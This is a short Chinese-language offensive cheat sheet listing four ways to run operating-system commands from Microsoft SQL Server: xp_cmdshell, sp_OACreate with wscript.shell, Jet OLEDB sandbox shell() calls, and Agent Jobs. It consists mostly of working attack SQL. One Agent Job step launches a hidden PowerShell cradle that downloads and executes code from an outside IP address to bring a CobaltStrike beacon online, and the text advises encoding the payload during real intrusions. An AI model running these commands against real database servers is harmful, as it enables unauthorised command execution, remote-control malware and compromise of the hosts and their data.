方法一:xp_cmdshell
exec master..xp_cmdshell "whoami"默認執行是關閉
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
將1修改為0則為關閉
xp_cmdshell 被刪除可采用xplog70.dll恢復
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
方法二:SP_OACREATE
xp_cmdshell 刪除以后,可以使用SP_OACreate。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
執行[此方法無回顯]
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'
方法三:通過沙盒執行命令
開啟沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
利用jet.oledb執行命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")')
但是,當 c:\Windows\System32\ias\dnary.mdb 或 c:\Windows\System32\ias\ias.mdb 被刪除時,命令就會無效了.
所以利用以下語句創建一個數據庫:(數據庫名SysSetup.xml,后綴.xml是自定義,不影響使用.)
declare @hr int
declare @object int;declare @property int
exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT
exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'
然后再利用jet.oledb調用SysSetup.xml執行系統命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("CMD命令")')
方法四:通過Agent Job執行命令
修改開啟Ageent Job,執行無回顯CobaltStrike生成powershell上線
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.214.129:80/a''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
實戰當中需要對payload進行全編碼防止編碼錯誤導致失敗
參考鏈接:
https://www.anquanke.com/post/id/84646
https://www.4hou.com/technology/3338.html
https://www.cnblogs.com/mujj/articles/2043853.html